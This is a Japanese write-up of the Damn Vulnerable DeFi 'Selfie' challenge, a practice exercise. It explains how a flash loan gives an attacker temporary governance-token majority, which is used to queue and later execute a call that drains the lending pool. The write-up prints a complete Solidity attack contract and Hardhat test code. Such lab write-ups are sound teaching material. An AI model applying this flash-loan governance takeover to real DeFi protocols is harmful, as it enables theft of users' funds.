ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/6.html
問題の説明:
DVT トークンのフラッシュローン機能を提供する貸出プールがあります。DVT トークンは、ガバナンストークンとしてガバナンスコントラクトにガバナンス機能を提供します。現在、貸出プールには 150 万のトークンがあります。あなたの目標は、これらのトークンをすべて引き出すことです。
この問題には 3 つのスマートコントラクトがあります:
DamnValuableTokenSnapshot
snapshot
機能を持つtoken
コントラクトSelfiePool
貸出プールコントラクトSimpleGovernance
ガバナンスコントラクト
まず、貸出プールコントラクトのソースコードを見てみましょう。
contract SelfiePool is ReentrancyGuard {
using Address for address;
// トークンコントラクト
ERC20Snapshot public token;
// ガバナンスコントラクト
SimpleGovernance public governance;
event FundsDrained(address indexed receiver, uint256 amount);
// 実行者がガバナンスコントラクトであることを確認する修飾子
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}
// コンストラクタ: トークンとガバナンスのインスタンスを作成
constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}
// フラッシュローン関数
function flashLoan(uint256 borrowAmount) external nonReentrant {
// 残高が十分であることを確認
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
// borrowAmount 数量のトークンを msg.sender に転送
token.transfer(msg.sender, borrowAmount);
// msg.sender がコントラクトアドレスであることを確認
require(msg.sender.isContract(), "Sender must be a deployed contract");
// msg.sender の receiveTokens メソッドを呼び出す
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);
// 借りたトークンが返却されたことを確認
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
// このコントラクト内のすべてのトークンを引き出し、ガバナンスのみが呼び出せる
function drainAllFunds(address receiver) external onlyGovernance {
// 残高を取得
uint256 amount = token.balanceOf(address(this));
// トークンを receiver に転送
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
この貸出プールコントラクトは 2 つのメソッドを提供します。
flashLoan
フラッシュローンメソッドで、呼び出し元のreceiveTokens
メソッドをコールバックします。drainAllFunds
すべてのtoken
を引き出し、このメソッドの呼び出し元はガバナンスコントラクトでなければなりません。
次に、ガバナンスコントラクトのソースコードを見てみましょう。
contract SimpleGovernance {
using Address for address;
struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
// ガバナンストークン
DamnValuableTokenSnapshot public governanceToken;
// すべてのアクションのマッピングを保存
mapping(uint256 => GovernanceAction) public actions;
// アクションカウンタ
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;
event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);
// コンストラクタ, ガバナンストークンのアドレスを受け取る
constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}
// アクションを作成する
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
// 十分な投票があることを確認
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
// receiver がこのコントラクトでないことを確認
require(receiver != address(this), "Cannot queue actions that affect Governance");
// アクションを actions に保存
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
// actionId を返す
return actionId;
}
// 作成したアクションを実行する
function executeAction(uint256 actionId) external payable {
// 作成したアクションが実行可能かどうか
require(_canBeExecuted(actionId), "Cannot execute this action");
// 現在の最新の待機中のアクションを取得
GovernanceAction storage actionToExecute = actions[actionId];
// 実行時間を現在の時間に設定
actionToExecute.executedAt = block.timestamp;
// action.receiver の data を実行
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
emit ActionExecuted(actionId, msg.sender);
}
function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
// アクションが実行可能かどうかを判断する
// 1. 一度も実行されていない
// 2. 作成時間が 2 日を超えている
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}
// 十分な投票があるかどうかを判断する
// 所有する governanceToken の数が総量の半分より大きい
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}
ガバナンスコントラクトの核心は 2 つのメソッドです。
queueAction
action
を作成し、関連データを保存します。executeAction
作成したaction
を実行し、本質的にはaction.receive
の中のdata
を実行します。
さて、私たちの最終目標に戻りましょう:貸出プール内のすべての token
を引き出すことです。これは drainAllFunds
メソッドを呼び出すことで達成できますが、このメソッドはガバナンスコントラクトからのみ呼び出すことができます。行き詰まったように見えますが、ガバナンスコントラクトの executeAction
メソッド内部では action.receive
の中の data
を実行します。もし receive
が貸出プールコントラクトで、data
が drainAllFunds
メソッドであれば、実行可能なようです。しかし、アクションを作成するためには、少なくとも半分のガバナンストークンを所有している必要があります。この時点で、フラッシュローンを使用して token
を所有することができます。
最終的な攻撃手順は次のとおりです:
- フラッシュローンを通じてプール内のすべての
token
を借りる - コールバックメソッド内で
drainAllFunds
のdata
を構築し、ガバナンスコントラクトのqueueAction
を呼び出してaction
を作成する - トークンを返却する
- 2 日後に、ガバナンスコントラクトの
executeAction
メソッドを実行し、トークンを攻撃者に転送する。
攻撃コントラクトは次のとおりです。
SelfieAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
contract SelfieAttack {
SelfiePool public pool;
SimpleGovernance public governance;
address public attacker;
uint public actionId;
constructor (address _pool, address _governance) {
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
attacker = msg.sender;
}
function attack(uint amount) public {
pool.flashLoan(amount);
}
function receiveTokens(address _token, uint _amount) public {
// data を構築
bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", attacker);
// スナップショットを実行
DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
token.snapshot();
// アクションを作成
actionId = governance.queueAction(address(pool), data, 0);
// トークンを返却
token.transfer(address(pool), _amount);
}
}
queueAction
を呼び出した後に作成された action
は次のようになります。
{
receiver: 貸出プールコントラクト,
data: drainAllFunds(attacker)
...
}
2 日後、ガバナンスコントラクトの executeAction
メソッドを実行すると、receiver
の data
が呼び出され、つまり貸出プールコントラクトの drainAllFunds
が呼び出され、パラメータは attacker
になります。
// receiver アドレスは attacker
function drainAllFunds(address receiver) external onlyGovernance {
// 残高を取得
uint256 amount = token.balanceOf(address(this));
// トークンを receiver に転送
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
最後に、ユニットテストファイル selfie.challenge.js
に実行コードを記述します。
it('Exploit', async function () {
const SelfieAttackFactory = await ethers.getContractFactory('SelfieAttack', attacker)
const selfieAttack = await SelfieAttackFactory.deploy(this.pool.address, this.governance.address)
await selfieAttack.attack(TOKENS_IN_POOL)
await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
const actionId = await selfieAttack.actionId()
this.governance.executeAction(actionId)
})
yarn selfie
を実行すると、テストが通過します!